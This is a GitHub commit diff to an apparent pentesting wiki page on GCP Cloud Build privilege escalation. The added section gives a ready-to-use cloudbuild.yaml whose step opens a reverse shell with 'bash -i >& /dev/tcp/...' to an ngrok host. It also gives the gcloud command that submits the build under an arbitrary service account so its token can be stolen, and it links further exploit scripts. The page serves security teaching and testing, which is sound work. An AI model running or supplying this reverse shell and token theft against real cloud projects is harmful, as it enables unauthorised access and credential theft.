Skip to content

Commit e6b5f1a

Browse files
authored
Merge pull request #193 from hasshido/master
grte-mightocho
2 parents b4d443e + 21d8bd5 commit e6b5f1a

File tree

1 file changed

+18
-5
lines changed

1 file changed

+18
-5
lines changed

src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md

Lines changed: 18 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -15,15 +15,28 @@ For more information about Cloud Build check:
1515
With this permission you can **submit a cloud build**. The cloudbuild machine will have in it’s filesystem by **default a token of the cloudbuild Service Account**: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. However, you can **indicate any service account inside the project** in the cloudbuild configuration.\
1616
Therefore, you can just make the machine exfiltrate to your server the token or **get a reverse shell inside of it and get yourself the token** (the file containing the token might change).
1717

18+
#### Direct exploitation via gcloud CLI
19+
20+
1- Create `cloudbuild.yaml` and modify with your listener data
21+
```yaml
22+
steps:
23+
- name: bash
24+
script: |
25+
#!/usr/bin/env bash
26+
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
27+
options:
28+
logging: CLOUD_LOGGING_ONLY
29+
```
30+
2- Upload a simple build with no source, the yaml file and specify the SA to use on the build:
31+
```bash
32+
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com
33+
```
34+
35+
#### Using python gcloud library
1836
You can find the original exploit script [**here on GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (but the location it's taking the token from didn't work for me). Therefore, check a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) and a python script to get a reverse shell inside the cloudbuild machine and [**steal it here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (in the code you can find how to specify other service accounts)**.**
1937

2038
For a more in-depth explanation, visit [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
2139

22-
### `cloudbuild.builds.update`
23-
24-
**Potentially** with this permission you will be able to **update a cloud build and just steal the service account token** like it was performed with the previous permission (but unfortunately at the time of this writing I couldn't find any way to call that API).
25-
26-
TODO
2740

2841
### `cloudbuild.repositories.accessReadToken`
2942

0 commit comments

Comments
 (0)